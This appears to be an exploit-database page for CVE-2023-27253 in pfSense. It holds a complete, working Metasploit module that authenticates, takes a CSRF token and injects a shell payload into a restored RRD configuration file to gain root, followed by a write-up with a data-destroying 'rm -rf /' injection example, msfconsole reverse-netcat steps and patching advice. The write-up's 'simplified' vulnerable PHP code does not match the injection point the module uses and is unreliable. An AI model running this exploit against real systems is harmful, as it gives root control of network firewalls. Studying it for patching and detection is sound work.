pfSense v2.7.0 - OS Command Injection
# Exploit Title: pfSense v2.7.0 - OS Command Injection
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
This module has been tested successfully on version 2.6.0-RELEASE.
},
'License' => MSF_LICENSE,
'Author' => [
'Emir Polat', # vulnerability discovery & metasploit module
],
'References' => [
['CVE', '2023-27253'],
['URL', 'https://redmine.pfsense.org/issues/13935'],
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'DisclosureDate' => '2023-03-18',
'Platform' => ['unix'],
'Arch' => [ ARCH_CMD ],
'Privileged' => true,
'Targets' => [
[ 'Automatic Target', {}]
],
'Payload' => {
'BadChars' => "\x2F\x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
]
end
def check
unless login
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'GET',
'keep_cookies' => true
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end
version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end
def login
# Skip the login process if we are already logged in.
return true if @logged_in
csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
},
'keep_cookies' => true
)
if res && res.code == 302
@logged_in = true
true
else
false
end
end
def detect_version
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
# If the response isn't a 200 ok response or is an empty response, just return nil.
unless res && res.code == 200 && res.body
return nil
end
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
nil
else
version
end
end
def get_csrf(uri, methods)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'method' => methods,
'keep_cookies' => true
)
unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end
# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end
def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end
def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end
config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
end pfSense v2.7.0 - OS Command Injection Vulnerability (CVE-2023-27253)
pfSense, a widely used open-source firewall and router platform, has long been trusted for its robust security features and ease of deployment. However, in early 2023, a critical vulnerability was discovered in versions prior to v2.7.0-RELEASE, exposing systems to remote command injection attacks. This flaw, identified as CVE-2023-27253, allows authenticated users with specific privileges to execute arbitrary OS commands as root, effectively granting full system control.
Exploitation Mechanism: The "restore_rrddata()" Function
The vulnerability lies within the restore_rrddata() function, part of the diagnostics backup and restore module accessible via diag_backup.php. This function is intended to restore RRD (Round Robin Database) data used for network performance monitoring. However, it fails to properly sanitize user input before executing system commands.
# Vulnerable code snippet (simplified)
function restore_rrddata() {
$data_file = $_POST['data_file'];
$command = "cat " . $data_file . " | rrdtool restore -";
exec($command);
}
Here, the $data_file parameter is directly concatenated into a shell command without proper validation. An attacker can manipulate this input to inject malicious commands. For example, by setting data_file to /etc/passwd; rm -rf /, the command becomes:
cat /etc/passwd; rm -rf / | rrdtool restore -
Due to the lack of input filtering, this leads to unintended execution of rm -rf /, which would destroy the entire filesystem — a catastrophic outcome.
Attack Vector and Privilege Requirements
Exploitation requires authentication with the “WebCfg - Diagnostics: Backup & Restore” privilege. This is typically granted to users with administrative access, such as admin or custom roles with elevated permissions. While this restricts the attack surface, it remains a serious risk in environments where multiple users have access to the web interface.
Attackers can leverage this flaw to:
- Execute arbitrary shell commands as root
- Deploy reverse shells using netcat or bash payloads
- Install persistent backdoors
- Exfiltrate sensitive configuration files (e.g.,
/etc/shadow) - Disable firewall rules or modify routing configurations
Real-World Impact and Detection
Security researchers and penetration testers have confirmed successful exploitation on pfSense v2.6.0-RELEASE and earlier versions. The exploit leverages the Metasploit framework, which includes automated checks and payload delivery capabilities.
For example, a successful Metasploit module attempt would involve:
msfconsole
> use exploit/multi/remote/pfsense_restore_rrddata
> set RHOST 192.168.1.1
> set USERNAME admin
> set PASSWORD pfsense
> set PAYLOAD cmd/unix/reverse_netcat
> exploit
Upon execution, the attacker receives a reverse shell with root privileges, enabling full system control. This demonstrates how a seemingly benign feature — backup restoration — can become a gateway to complete compromise.
Fix and Patching Timeline
The vulnerability was reported to the pfSense Redmine issue tracker (Issue #13935) and resolved via a commit on GitHub (commit ca80d18493f8f91b21933ebd6b714215ae1e5e94). The fix introduced input sanitization and parameter validation, ensuring that only legitimate file paths are processed.
As of v2.7.0-RELEASE, the vulnerability is patched. Users are strongly advised to upgrade immediately if they are running older versions.
Security Best Practices to Prevent Exploitation
Organizations using pfSense should implement the following defensive measures:
- Keep systems updated — regularly apply security patches and upgrades.
- Limit administrative privileges — enforce least-privilege principles; avoid granting "Backup & Restore" access to non-admin users.
- Monitor logs — watch for unusual command execution in
/var/log/messagesor/var/log/auth.log. - Disable unnecessary features — if backup/restore is not used, disable the diagnostic module entirely.
- Use strong authentication — enforce complex passwords and enable two-factor authentication where possible.
Conclusion: A Lesson in Input Sanitization
CVE-2023-27253 serves as a stark reminder that even well-designed systems can be compromised by a single oversight in input handling. The restore_rrddata() function, meant to support system maintenance, became a backdoor due to insufficient validation. This underscores the importance of:
- Input validation and sanitization
- Code review for command injection risks
- Regular security audits and patch management
For cybersecurity professionals, this case study highlights the need to treat every user-facing interface — especially those with administrative capabilities — as a potential attack surface. The lesson is clear: never trust user input. Always sanitize, validate, and restrict.